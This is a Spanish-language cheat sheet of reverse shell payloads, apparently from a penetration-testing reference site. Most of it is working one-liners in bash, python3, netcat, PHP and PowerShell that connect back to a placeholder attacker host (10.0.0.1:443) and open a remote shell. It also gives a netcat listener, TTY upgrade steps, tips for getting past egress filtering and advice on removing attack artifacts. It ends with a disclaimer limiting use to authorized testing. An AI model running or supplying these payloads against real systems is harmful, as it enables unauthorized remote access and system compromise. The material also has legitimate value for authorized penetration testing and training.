Chuleta de reverse shells: one-liners, listener y mejora
Una chuleta de reverse shells de referencia rápida: one-liners de bash, python, php, powershell y netcat, el listener para capturarlos y la mejora de TTY, con enlaces a la guía completa de cada uno.
Una chuleta de reverse shells solo es útil si es correcta y entiendes lo que hace cada línea. Esta es la versión breve: los one-liners a los que recurres más a menudo, el listener que los captura y la mejora que hace que la shell sea usable. Cada sección enlaza con la guía completa por si un payload se comporta mal. Sustituye 10.0.0.1 por tu LHOST y 443 por tu LPORT en todo el documento; o evítate el copiar y pegar y usa el generador de reverse shells, que rellena ambos y empareja cada payload con su listener.
¿Nuevo en el concepto? Empieza por qué es un reverse shell.
1. Arranca tu listener primero
Ten siempre el listener escuchando antes de disparar el payload:
nc -lvnp 443
Usa ncat -lvnp 443 --ssl si tu payload usa TLS. Detalles del listener y cuándo dar el salto más allá de nc: elegir un listener.
2. Los one-liners
Bash (necesita bash, no sh; guía completa: reverse shells con bash):
bash -i >& /dev/tcp/10.0.0.1/443 0>&1
Python (atento a python frente a python3; guía completa: reverse shells con python):
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
Netcat cuando falta -e (guía completa: reverse shells con netcat):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 443 > /tmp/f
PHP para una aplicación web comprometida (guía completa: reverse shells con php):
php -r '$sock=fsockopen("10.0.0.1",443);exec("/bin/sh -i <&3 >&3 2>&3");'
PowerShell en Windows (guía completa: reverse shells con powershell, reverse shells en windows):
$c=New-Object System.Net.Sockets.TCPClient("10.0.0.1",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$w=([Text.Encoding]::ASCII).GetBytes($o);$s.Write($w,0,$w.Length);$s.Flush()}
3. Mejora a una TTY real
Tu primera shell es cruda: sin control de trabajos, sin sudo, sin autocompletado con tabulador. Mejórala:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# then: Ctrl-Z
stty raw -echo; fg
# then in the shell: export TERM=xterm
Por qué importa cada paso: mejorar un reverse shell.
4. Cuando nada conecta
Recorre la lista en orden: intérprete incorrecto → comillas/escapado destrozados en tránsito → salida filtrada (prueba 443/80) → listener no coincidente. El recorrido completo de diagnóstico está en por qué fallan los reverse shells, y el escapado en concreto en escapado de payloads.
5. Limpia
Un compromiso no está terminado hasta que los artefactos han desaparecido: fifos, binarios soltados, listeners, archivos modificados. Consulta limpieza en pruebas autorizadas.
Solo pruebas autorizadas
Cada línea de aquí es para sistemas de tu propiedad o que tengas autorización explícita para probar. Los payloads son idénticos tanto si el trabajo está sancionado como si no; solo tu autorización hace legítimo su uso.